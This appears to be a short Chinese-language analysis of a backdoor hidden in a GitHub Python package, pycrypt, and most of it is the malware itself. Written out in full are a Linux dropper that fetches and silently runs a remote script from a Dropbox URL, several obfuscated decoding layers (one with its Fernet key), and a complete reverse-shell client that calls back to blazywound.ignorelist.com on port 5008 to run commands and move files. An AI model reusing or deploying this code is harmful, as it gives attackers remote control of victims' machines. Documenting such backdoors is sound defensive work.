https://github.com/machine1337/pycrypthttps://web.archive.org/web/20230103031922/https://github.com/machine1337/pycrypt

发现异常

定位后门

后门代码

import os,platform,subprocessif platform.system().startswith("Linux"):        try:            with open('/tmp/file.py', 'w') as f:                f.write("import os \nimport subprocess \nfrom pathlib import Path \nfrom urllib import request \nhello = os.getlogin() \nPATH = '/home/' + hello + '/.msfdb/update'\nPAT  = '/tmp/file.py'\nisExist = os.path.exists(PATH) \nif not isExist:\n        os.makedirs(PATH) \nif Path(PATH).is_file(): \n           print("") \nelse: \n")                f.write("     remote_url ='https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh'\n     local_file = PATH+'/.path.sh' \n     request.urlretrieve(remote_url, local_file) \n     subprocess.call(\"bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1\", shell=True) \n")                f.write("     if Path(PAT).is_file(): \n         try:\n           os.remove(PAT)\n         except:\n           print()")        except FileNotFoundError:            print("")        subprocess.call("python3 /tmp/file.py &", shell=True)

#sh文件中继续中转发现一层加密https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh#加密代码链接https://dl.dropboxusercontent.com/s/n7xl8ki0k9xqt7x/update.py

fpyepsdb = chr(105)zbieto = chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(32) + chr(98) + chr(97)ontxmpdwi = chr(115) + chr(101) + chr(54) + chr(52) + chr(59) + chr(101) + chr(120) + chr(101)rdnpqwkiz = chr(99) + chr(40) + chr(39) + chr(39) + chr(46) + chr(106) + chr(111) + chr(105)qvjlktvg = chr(110) + chr(40) + chr(91) + chr(121) + chr(91) + chr(48) + chr(93) + chr(32)nqsokf = chr(102) + chr(111) + chr(114) + chr(32) + chr(120) + chr(32) + chr(105) + chr(110)...同样是很长的一段加密字符串...qytpmsygab = ""qytpmsygab += fpyepsdbqytpmsygab+= zbieto + ontxmpdwi...同样是很长的一段加密字符串...qytpmsygab+= xpcexvz + yslqsexec(qytpmsygab)

import base64;exec(''.join([y[0] for x in [x for x in base64.b64decode( ('同样是很长的一段加密字符串').encode('ascii') ).decode('ascii')] for y in [[x[0], x[1]] for x in {'\t': '6', '\n': 'R', ' ': 'U', '!': 'Y', '@': 'i', '~': 'n', '`': 'Q', '#': '7', '$': 'A', '%': 'E', '^': '$', '&': 'o', '*': 'm', '(': '!', ')': '/', '_': '~', '=': 'L', '-': 'h', '+': ')', '{': 'N', '}': 'O', '|': '\\', '\\': 'g', '[': 'S', ']': '+', ':': 'z', ';': '|', '"': 's', "'": '`', ',': '{', '.': 'F', '/': ']', '?': '2', '>': 'y', '<': 'l', '0': '%', '1': 'W', '2': 'H', '3': 'c', '4': '\n', '5': 'x', '6': 'Z', '7': '.', '8': '>', '9': 'K', 'a': '<', 'b': 'V', 'c': '(', 'd': 'B', 'e': ';', 'f': 'u', 'g': "'", 'h': 'p', 'i': 'w', 'j': '3', 'k': '}', 'l': '1', 'm': 't', 'n': 'k', 'o': '9', 'p': '?', 'q': 'M', 'u': 'q', 'r': 'a', 's': '0', 't': '\t', 'v': 'J', 'w': '=', 'x': 'T', 'y': '_', 'z': 'G', 'A': '[', 'B': '&', 'C': '4', 'D': '-', 'E': '@', 'F': 'e', 'G': '^', 'H': 'f', 'I': '8', 'J': '*', 'K': 'D', 'L': '#', 'M': 'C', 'N': ' ', 'O': 'b', 'P': 'P', 'Q': 'X', 'U': ',', 'R': '"', 'S': 'd', 'T': 'j', 'V': 'I', 'W': 'v', 'X': '5', 'Y': ':', 'Z': 'r'}.items()] if x == y[1]]))

from cryptography.fernet import Fernet
encrypted_message = '同样是很长的一段加密字符串'key = b'fFdnVFFLuGqYOndl9Xvp9pRnOenZ__grZS5sFssfiX4='
f = Fernet(key)decrypted_message = f.decrypt(encrypted_message.encode())exec(decrypted_message.decode())

import codecsexec(codecs.decode(b'同样是很长的一段加密字符串', "hex").decode())

import gzip
code = b"同样是很长的一段加密字符串".decode()exec(gzip.decompress(code.encode('cp437')).decode())

import socketimport jsonimport subprocessimport timeimport osimport sysdef reliable_send(data):    jsondata = json.dumps(data)    s.send(jsondata.encode())def reliable_recv():    data = ''    while True:        try:            data = data + s.recv(1024).decode().rstrip()            return json.loads(data)        except ValueError:            continuedef download_file(file_name):    f = open(file_name, 'wb')    s.settimeout(2)    chunk = s.recv(1024)    while chunk:        f.write(chunk)        try:            chunk = s.recv(1024)        except socket.timeout as e:            break    s.settimeout(None)    f.close()def upload_file(file_name):    f = open(file_name, 'rb')    s.send(f.read())def shell():    while True:        command = reliable_recv()        if command == 'quit':            break        elif command == 'background':  # BEGIN            pass        elif command == 'help':  # ideally to be removed            pass        elif command == 'clear':            pass  # END        elif command[:3] == 'cd ':            os.chdir(command[3:])        elif command[:6] == 'upload':            download_file(command[7:])        elif command[:8] == 'download':            upload_file(command[9:])        elif command[:7] == 'sendall':            subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,                             stdin=subprocess.PIPE)        else:            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,                                       stdin=subprocess.PIPE)            result = execute.stdout.read() + execute.stderr.read()            result = result.decode()            reliable_send(result)def connection():    while True:        time.sleep(5)        try:            s.connect(('blazywound.ignorelist.com', 5008))            shell()            s.close()            break        except:            connection()s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connection()

项目作者

https://github.com/machine1337?tab=repositories&q=&type=source&language=&sort=